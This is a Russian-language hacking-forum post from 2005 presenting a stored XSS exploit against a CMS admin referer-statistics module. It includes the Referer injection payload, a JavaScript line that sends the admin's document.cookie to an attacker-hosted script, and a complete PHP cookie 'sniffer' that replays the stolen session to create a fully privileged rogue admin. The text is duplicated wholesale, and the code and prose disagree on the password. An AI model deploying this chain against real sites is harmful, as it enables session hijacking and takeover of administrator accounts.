PinkPanther
27.12.2005, 04:22
Итак, сейчас хочу рассмотреть одну из активных XSS уязвимостей, которая позволяет атакующему захватить кукисы администратора, и тем самым, авторизироватся под админом посредством подстановки его кук. На данном этапе, Я не остановился, и был написан полноценный функциональный сниффер, авторизирующийся под украденными куками, который позволяет создать нового админа с максимальными привилегиями. Само собой, это все происходит за доли секундs, и без никакого палева.
[XSS уязвимость]
Рассмотрим одну из уязвимостей. Она довольно интересная, посему Я остановился именно на ней.
XSS дырка находится в модуле админки «Переходы с сайтов». Именно там хранятся реферы с других сайтов, повидимому для статистики. Так вот, если отправить запрос сайту с поддельным рефером(Referer), где в его роли будет выступать XSS код, то он успешно сохранится в «Переходы с сайтов». Так как фильтрация в скрипте, отвечающего за проверяние(сохранение) входящего Referer`a, не предусмотрена, то админ просматривая статистику, словит нашу XSS`ку.
<td style="text-align:left" class="tab"><a target="_blank" href="<scrіpt>alert(document.cookie)</scrіpt>"><scrіpt>alert(document.cookie)</scrіpt> </a></td>
Как же подделать запрос стандартными методами? Можно написать свой собственный скрипт, а можно воспользоватся специальной прогой, например InetCrack (C)Algol-antichat.ru.
Теперь, если послать поддельный запрос, который ты видишь на скрине, админ словит алерт со своими куками.
http://xss.h16.ru/my_papers_spaiznuke/spaiznuke1.png
Само собой, от этого толку мало, посему напишем небольшой скрипт, который будет принимать украденные куки администратора, авторизироватся под ними, заходить в модуль «Управление администраторами» и создавать нового админа с максимальными привилегиями.
[Функциональный сниффер]
<?
// PinkPanther [PinkPanther@HackZona.ru]
$query=$_SERVER["QUERY_STRING"];
$query=urldecode($query);
//Add new admin
$name="new_admin";
$login="new_admin";
$email="new_admin@admin.ru";
$password="12345";
$host="Yjazvimyj_host";
$full_link="http://".$host."/admin.php?mod=admins";
$data="mod=admins&add_name=".$name."&add_aid=".$login."&add_email=
".$email."&add_pwd=".$password."&mod_list%5B%5D=admins&mod_list%5B%5D=articles&mod_list%5B%5D=backup&mod_list%5B%5D=banners&mod_list%5B%5D=blocker&mod_list%5B%5D=blocks&mod_list%5B%5D=configure&mod_list%5B%5D=files&mod_list%5B%5D=messages&mod_list%5B%5D=modules&mod_list%5B%5D=news&mod_list%5B%5D=optimize&mod_list%5B%5D=pages&mod_list%5B%5D=polls&mod_list%5B%5D=referers&mod_list%5B%5D=topics&mod_list%5B%5D=uploader&op=AddAdmin";
$data_lenght=strlen($data);
$header="POST ".$full_link." HTTP/1.0\r\n";
$header.="Referer: ".$full_link."\r\n";
$header.="Content-Type: application/x-www-form-urlencoded\r\n";
$header.="Host: ".$host."\r\n";
$header.="Content-Length: ".$data_lenght."\r\n";
$header.="Cookie:".$query."\r\n";
$header.="\r\n";
$header.="".$data."";
$fp=fsockopen("$host", 80);
fwrite($fp, $header);
fclose($fp);
?>
[Собираем все вместе]
Теперь соберем все вместе.
Для начала составим XSS сплойт, который бы отсылал админские куки на наш скрипт. Стандартная конструкция нам не подойдет, ибо максимальная длинна Referer`a должны быть не больше 60 символов. Посему, прийдется подгружать скрипт с удаленного ресурса.
Поместим на наш сайт(«site») файл 1.js, в который впишем, например!!, такую вот строку:
document.write('<iframe width=0 height=0 srс="'+'http://site/nuke.php'+ '?'+document.cookie+'"></iframe>');
где, «site» – это сайт на котором находится наш php скрипт называющийся nuke.php.
После отправим запрос уязвимому ресурсу, где в Referer поместим строку:
<scrіpt srс='http://site/1.js'></scrіpt>
Теперь, когда администратор просмотрит «Переходы с сайтов», его куки улетят на функциональный сниффер, который создаст нового админа с именем «new_admin» и паролем «123456».
Сайт на котором будет находится наш php сплойт, должен поддерживать выполнение php и разрешать исходящие соединения.
[XSS уязвимость]
Рассмотрим одну из уязвимостей. Она довольно интересная, посему Я остановился именно на ней.
XSS дырка находится в модуле админки «Переходы с сайтов». Именно там хранятся реферы с других сайтов, повидимому для статистики. Так вот, если отправить запрос сайту с поддельным рефером(Referer), где в его роли будет выступать XSS код, то он успешно сохранится в «Переходы с сайтов». Так как фильтрация в скрипте, отвечающего за проверяние(сохранение) входящего Referer`a, не предусмотрена, то админ просматривая статистику, словит нашу XSS`ку.
<td style="text-align:left" class="tab"><a target="_blank" href="<scrіpt>alert(document.cookie)</scrіpt>"><scrіpt>alert(document.cookie)</scrіpt> </a></td>
Как же подделать запрос стандартными методами? Можно написать свой собственный скрипт, а можно воспользоватся специальной прогой, например InetCrack (C)Algol-antichat.ru.
Теперь, если послать поддельный запрос, который ты видишь на скрине, админ словит алерт со своими куками.
http://xss.h16.ru/my_papers_spaiznuke/spaiznuke1.png
Само собой, от этого толку мало, посему напишем небольшой скрипт, который будет принимать украденные куки администратора, авторизироватся под ними, заходить в модуль «Управление администраторами» и создавать нового админа с максимальными привилегиями.
[Функциональный сниффер]
<?
// PinkPanther [PinkPanther@HackZona.ru]
$query=$_SERVER["QUERY_STRING"];
$query=urldecode($query);
//Add new admin
$name="new_admin";
$login="new_admin";
$email="new_admin@admin.ru";
$password="12345";
$host="Yjazvimyj_host";
$full_link="http://".$host."/admin.php?mod=admins";
$data="mod=admins&add_name=".$name."&add_aid=".$login."&add_email=
".$email."&add_pwd=".$password."&mod_list%5B%5D=admins&mod_list%5B%5D=articles&mod_list%5B%5D=backup&mod_list%5B%5D=banners&mod_list%5B%5D=blocker&mod_list%5B%5D=blocks&mod_list%5B%5D=configure&mod_list%5B%5D=files&mod_list%5B%5D=messages&mod_list%5B%5D=modules&mod_list%5B%5D=news&mod_list%5B%5D=optimize&mod_list%5B%5D=pages&mod_list%5B%5D=polls&mod_list%5B%5D=referers&mod_list%5B%5D=topics&mod_list%5B%5D=uploader&op=AddAdmin";
$data_lenght=strlen($data);
$header="POST ".$full_link." HTTP/1.0\r\n";
$header.="Referer: ".$full_link."\r\n";
$header.="Content-Type: application/x-www-form-urlencoded\r\n";
$header.="Host: ".$host."\r\n";
$header.="Content-Length: ".$data_lenght."\r\n";
$header.="Cookie:".$query."\r\n";
$header.="\r\n";
$header.="".$data."";
$fp=fsockopen("$host", 80);
fwrite($fp, $header);
fclose($fp);
?>
[Собираем все вместе]
Теперь соберем все вместе.
Для начала составим XSS сплойт, который бы отсылал админские куки на наш скрипт. Стандартная конструкция нам не подойдет, ибо максимальная длинна Referer`a должны быть не больше 60 символов. Посему, прийдется подгружать скрипт с удаленного ресурса.
Поместим на наш сайт(«site») файл 1.js, в который впишем, например!!, такую вот строку:
document.write('<iframe width=0 height=0 srс="'+'http://site/nuke.php'+ '?'+document.cookie+'"></iframe>');
где, «site» – это сайт на котором находится наш php скрипт называющийся nuke.php.
После отправим запрос уязвимому ресурсу, где в Referer поместим строку:
<scrіpt srс='http://site/1.js'></scrіpt>
Теперь, когда администратор просмотрит «Переходы с сайтов», его куки улетят на функциональный сниффер, который создаст нового админа с именем «new_admin» и паролем «123456».
Сайт на котором будет находится наш php сплойт, должен поддерживать выполнение php и разрешать исходящие соединения.